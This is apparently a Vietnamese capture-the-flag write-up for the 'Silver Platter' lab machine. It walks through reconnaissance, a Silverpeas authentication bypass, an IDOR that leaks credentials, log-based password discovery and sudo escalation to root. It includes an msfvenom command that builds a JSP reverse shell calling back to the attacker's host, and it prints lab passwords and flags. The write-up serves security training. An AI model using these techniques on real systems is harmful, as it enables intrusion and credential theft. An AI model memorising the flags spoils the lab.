Icon

Silver Platter

Can you breach the server?

November 4, 2025 August 21, 2025 Easy
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

┌──(kali㉿kali)-[~/Documents]
└─$ rustscan -a silverplatter.thm -r 1-65535 -- -sV -sC

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6b:f8:01:9c:92:73:1c:ae:da:ed:4a:ef:c7:c2:25:bf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGE/twPxwVVYqIzN2rW1YQ690eMDEJgznJFj59TvZJzmSw7/j21xuBW7IfpoA6HElOpI5XhUhk2JUdduG+5nmq0=
|   256 4a:c4:e8:28:7f:e7:e9:a5:65:f8:52:3a:28:4e:69:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIeGFd+eunw6fAG05JRPkxLh3ckRZevm29diRV+ShoWk
80/tcp   open  http       syn-ack ttl 60 nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Hack Smarter Security
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy syn-ack ttl 59
|_http-title: Error
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Fri, 22 Aug 2025 07:41:02 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Fri, 22 Aug 2025 07:40:59 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Fri, 22 Aug 2025 07:41:00 GMT
|_    <html><head><title>Error</title></head><body>404 - Not Found</body></html>

Kết quả Nmap scan cho thấy có 3 port mở: 22 (SSH), 80 (HTTP) và 8080 (HTTP-proxy). Phiên bản SSH cho thấy hệ điều hành nền là Ubuntu. Ngoài ra, webserver chạy ứng dụng nginx 1.18.0 (không có exploit công khai nào), còn HTTP proxy server thì chỉ trả về lỗi 404, có lẽ website phía sau proxy này không được phục vụ trong thư mục gốc /.

SSH 22

image.png

Dịch vụ SSH bật chế độ password authentication, vì vậy chúng ta nên tìm kiếm bất kỳ plain-text password nào.

HTTP 80

image.png

Trong phần thông tin contact, ta biết rằng project manager dường như đang sử dụng Silverpeas, và username của anh ta là scr1ptkiddy.

image.png

Silverpeas là một phần mềm intranet (mạng nội bộ) mã nguồn mở. Giúp phân phối, trao đổi, lưu trữ và tìm kiếm thông tin trong tổ chức.

Khi kiểm tra source code, ta phát hiện một nút ẩn.

image.png

Ta intercept và chỉnh sửa response để hiển thị nút ẩn này sử dụng Burp Suite:

image.png

image.png

image.png

image.png

Tuy nhiên, khi bấm vào, không có gì đặc biệt cả.

Subdomain Enumeration

Chúng ta scan subdomain bằng ffuf:

ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.201.47.158 -H "Host: FUZZ.silverplatter.thm" -mc 200,301,302 -r -fw 926,1 -t 64

image.png

ffuf không phát hiện ra subdomain nào cả.

Directory Enumeration

Tiếp theo chúng ta scan các thư mục và file ẩn trên web:

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://silverplatter.thm/FUZZ -r -e .php,.txt

image.png

Chúng ta cũng không tìm được thông tin gì hữu ích cả. Hai thư mục assetsimages đều không cho chúng ta quyền truy cập.

Chúng ta biết rằng trước đó trên contact có nhắc đến silverpeas, có thể web server đang chạy phần mềm này. Thư mục mặc định của silverpeas tìm thấy trên Google như sau:

image

/silverpeas

Tuy nhiên, trên web server này không hề có Silverpeas.

image.png

HTTP Proxy 8080

/silverpeas

Có lẽ chúng ta nên thử truy cập thư mục /silverpeas trên HTTP proxy server ở port 8080, và thực tế nó đã redirect chúng ta tới một trang login.

image.png

Sau khi tìm kiếm nhanh trên Google, chúng ta biết rằng Silverpeas tồn tại lỗ hổng authentication bypass, mặc dù hiện tại vẫn chưa xác định được phiên bản.

image.png

image.png

Silverpeas Authentication as scr1ptkiddy

Dù vậy, ta cứ thử kiểm tra lỗ hổng authentication bypass này.

image.png

image.png

Và nó hoạt động, chúng ta đã truy cập được vào Silverpeas với user scr1pkiddy.

image.png

Attempting to Upload Reverse Shell Payload

Tiếp theo, chúng ta dùng msfvenom để tạo payload reverse shell. Ta biết rằng Silverpeas sử dụng JavaServer Page ở phía server, tức là có thể thực thi file .jsp.

┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom --list payload | grep jsp
    java/jsp_shell_bind_tcp                                            Listen for a connection and spawn a command shell
    java/jsp_shell_reverse_tcp                                         Connect back to attacker and spawn a command shell

┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.21.52 LPORT=4242 -f raw -o sh.jsp
Payload size: 1497 bytes
Saved as: sh.jsp

As a Profile Picture

Chúng ta thử upload payload này dưới dạng profile picture.

image.png

Tuy nhiên, vì hệ thống chỉ cho phép extension của file ảnh, nên ta phải ngụy trang payload bằng cách thêm đuôi .jpg.

image.png

image.png

image.png

Nhưng khi file được upload, tên file bị đổi thành {user}.jpg, khiến chúng ta không thể thực thi nó.

As a Document

Chúng ta thử upload payload dưới dạng document lần này.

image.png

image.png

image.png

Kết quả là payload không được thực thi, thay vào đó chúng ta chỉ nhận lại source code của payload.

Silverpeas Authentication as SilverAdmin

Vì đã bypass được authentication, chúng ta có thể vào bất cứ tài khoản nào, vậy ta nên kiểm tra xem user admin SilverAdmin có bất kỳ tin nhắn nhạy cảm nào không.

image.png

Chúng ta nhận thấy rằng request để lấy message chỉ nhận tham số ID. Có khả năng chúng ta có thể truy cập tin nhắn của user khác mà không cần xác thực (IDOR).

Chúng ta sử dụng Burp Suite Intruder để test lỗ hổng này:

image.png

image.png

Kết quả là chúng ta tìm thấy một credentials trong tin nhắn có ID bằng 6.

tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

Shell as tim

Chúng ta SSH vào target với tài khoản của tim:

image.png

user.txt

tim@ip-10-201-40-255:~$ cd ~
tim@ip-10-201-40-255:~$ ls -la
total 12
dr-xr-xr-x 2 root root 4096 Dec 13  2023 .
drwxr-xr-x 6 root root 4096 Jul 21 20:10 ..
-rw-r--r-- 1 root root   38 Dec 13  2023 user.txt
tim@ip-10-201-40-255:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}

Sudo Permissions

tim@ip-10-201-40-255:/home$ sudo -l
[sudo] password for tim:
Sorry, user tim may not run sudo on ip-10-201-40-255.

tim không có quyền chạy sudo trên target.

Ta thử đổi sang các user khác với su mà không nhập password. Mặc dù khả năng cao là không được nhưng ta cứ thử.

tim@ip-10-201-40-255:/home$ su tyler
Password:
tim@ip-10-201-40-255:/home$ su ssm-user
Password:
tim@ip-10-201-40-255:/home$ su ubuntu
Password:

adm Group

Khi chạy lại lệnh id, chúng ta nhận thấy user thuộc group adm, điều này khá bất thường. Ta thử tìm nhanh trên Google để xem group này cung cấp quyền gì.

image.png

image.png

Kết quả cho thấy khi nằm trong group adm, chúng ta có thể truy cập các log file được lưu trong /var/log.

tim@ip-10-201-40-255:/var/log$ cd /
tim@ip-10-201-40-255:/$ cd /var/log
tim@ip-10-201-40-255:/var/log$ ls -la
total 1996
drwxrwxr-x  11 root      syslog            4096 Aug 22 10:03 .
drwxr-xr-x  14 root      root              4096 Dec 12  2023 ..
-rw-r--r--   1 root      root                 0 May  1  2024 alternatives.log
-rw-r--r--   1 root      root             34877 Dec 12  2023 alternatives.log.1
drwx------   3 root      root              4096 May  8  2024 amazon
drwxr-xr-x   2 root      root              4096 Jul 21 20:10 apt
-rw-r-----   1 syslog    adm               3881 Aug 22 13:20 auth.log
-rw-r-----   1 syslog    adm              10058 Aug 22 10:03 auth.log.1
-rw-r-----   1 syslog    adm              32399 Dec 13  2023 auth.log.2
-rw-r-----   1 syslog    adm                846 Jul 20 14:27 auth.log.2.gz
-rw-r-----   1 syslog    adm                755 May  8  2024 auth.log.3.gz
-rw-r--r--   1 root      root               600 May  8  2024 aws114_ssm_agent_installation.log
-rw-r--r--   1 root      root             64549 Aug 10  2023 bootstrap.log
-rw-rw----   1 root      utmp              1536 Aug 22 13:08 btmp
-rw-rw----   1 root      utmp               384 Jul 20 14:29 btmp.1
-rw-r-----   1 syslog    adm             248446 Aug 22 10:04 cloud-init.log
-rw-r-----   1 root      adm              31148 Aug 22 13:39 cloud-init-output.log
drwxr-xr-x   2 root      root              4096 Aug  2  2023 dist-upgrade
-rw-r-----   1 root      adm              44063 Aug 22 10:03 dmesg
-rw-r-----   1 root      adm              43567 Jul 21 20:10 dmesg.0
-rw-r-----   1 root      adm              13706 Jul 20 17:11 dmesg.1.gz
-rw-r-----   1 root      adm              13443 Jul 20 14:27 dmesg.2.gz
-rw-r-----   1 root      adm              14012 May  8  2024 dmesg.3.gz
-rw-r-----   1 root      adm              14486 May  8  2024 dmesg.4.gz
-rw-r--r--   1 root      root                 0 Aug 22 10:03 dpkg.log
-rw-r--r--   1 root      root             13181 Jul 20 17:12 dpkg.log.1
-rw-r--r--   1 root      root               166 May  8  2024 dpkg.log.2.gz
-rw-r--r--   1 root      root             50823 Dec 13  2023 dpkg.log.3.gz
-rw-r--r--   1 root      root             32128 Jul 21 20:10 faillog
drwxr-x---   4 root      adm               4096 Dec 12  2023 installer
drwxr-sr-x+  3 root      systemd-journal   4096 Dec 12  2023 journal
-rw-r-----   1 syslog    adm               2470 Aug 22 10:04 kern.log
-rw-r-----   1 syslog    adm             185325 Aug 22 10:03 kern.log.1
-rw-r-----   1 syslog    adm              40129 Jul 20 14:27 kern.log.2.gz
-rw-r-----   1 syslog    adm              27571 May  8  2024 kern.log.3.gz
-rw-r-----   1 syslog    adm              82570 Dec 13  2023 kern.log.4.gz
drwxr-xr-x   2 landscape landscape         4096 Dec 12  2023 landscape
-rw-rw-r--   1 root      utmp            293168 Aug 22 13:05 lastlog
drwxr-xr-x   2 root      adm               4096 Aug 22 10:03 nginx
drwx------   2 root      root              4096 Aug 10  2023 private
-rw-r-----   1 syslog    adm             113828 Aug 22 13:39 syslog
-rw-r-----   1 syslog    adm             481907 Aug 22 10:03 syslog.1
-rw-r-----   1 syslog    adm              78119 Jul 20 14:27 syslog.2.gz
-rw-r-----   1 syslog    adm              47656 May  8  2024 syslog.3.gz
-rw-r-----   1 syslog    adm             147601 May  1  2024 syslog.4.gz
-rw-r--r--   1 root      root                 0 Aug 22 10:03 ubuntu-advantage.log
-rw-r--r--   1 root      root              3877 Jul 21 20:11 ubuntu-advantage.log.1
-rw-r--r--   1 root      root              1842 Jul 20 17:08 ubuntu-advantage.log.2.gz
drwxr-x---   2 root      adm               4096 Aug 22 10:03 unattended-upgrades
-rw-rw-r--   1 root      utmp             34944 Aug 22 13:05 wtmp

Vậy thì chúng ta thử grep để tìm bất kỳ username hoặc password nào trong các log này.

tim@ip-10-201-40-255:/var/log$ grep -ir "password" *.log*
auth.log:Aug 22 10:37:01 ip-10-201-40-255 sshd[2201]: Failed password for invalid user scr1ptkiddy from 10.17.21.52 port 47230 ssh2
auth.log:Aug 22 10:37:08 ip-10-201-40-255 sshd[2201]: Failed password for invalid user scr1ptkiddy from 10.17.21.52 port 47230 ssh2
...
auth.log.2:Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
auth.log.2:Dec 13 15:44:30 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database sivlerpeas:silverpeas-6.3.1
auth.log.2:Dec 13 15:45:21 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:silverpeas-6.3.1
auth.log.2:Dec 13 15:45:57 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:6.3.1
auth.log.2:Dec 13 16:17:31 silver-platter passwd[6811]: pam_unix(passwd:chauthtok): password changed for tim
auth.log.2:Dec 13 16:18:57 silver-platter sshd[6879]: Accepted password for tyler from 192.168.1.20 port 47772 ssh2
...

Chúng ta phát hiện một password, nhưng nó trông giống như password liên quan đến database.

POSTGRES_PASSWORD=_Zd_zx7N823/

Shell as tyler

Tuy nhiên, trên target ta chưa hề thấy bất kỳ DBMS nào đang chạy. Vì vậy, trước khi đi sâu kiểm tra database, ta nên thử sử dụng password này để switch sang user khác, bởi vì đôi khi người dùng thường lười thay đổi và tái sử dụng cùng một password ở nhiều nơi.

tim@ip-10-201-40-255:/$ su root
Password:
su: Authentication failure
tim@ip-10-201-40-255:/$ su tyler
Password:
tyler@ip-10-201-40-255:/$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

Và đúng như vậy, password này chính là của user tyler.

Shell as root

tyler thuộc group sudo, nên ta thử chạy sudo.

tyler@ip-10-201-40-255:/$ sudo su
root@ip-10-201-40-255:/# id
uid=0(root) gid=0(root) groups=0(root)

Kết quả là user này có thể sudo mà không cần nhập password, và như vậy chúng ta đã thành công leo quyền lên root!

root.txt

root@ip-10-201-40-255:/# cd /root
root@ip-10-201-40-255:~# ls -la
total 52
drwx------  6 root root 4096 Jul 20 17:14 .
drwxr-xr-x 19 root root 4096 Aug 22 10:03 ..
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Jul 20 17:07 .cache
-rw-------  1 root root   20 Jul 20 17:06 .lesshst
drwxr-xr-x  3 root root 4096 Dec 13  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   38 Dec 13  2023 root.txt
-rw-r--r--  1 root root   66 Dec 13  2023 .selected_editor
drwx------  3 root root 4096 Dec 12  2023 snap
drwx------  2 root root 4096 Jul 20 17:06 .ssh
-rwxr-xr-x  1 root root   97 Dec 13  2023 start_docker_containers.sh
-rw-r--r--  1 root root    0 Dec 13  2023 .sudo_as_admin_successful
-rw-------  1 root root 1309 Jul 20 17:14 .viminfo
root@ip-10-201-40-255:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}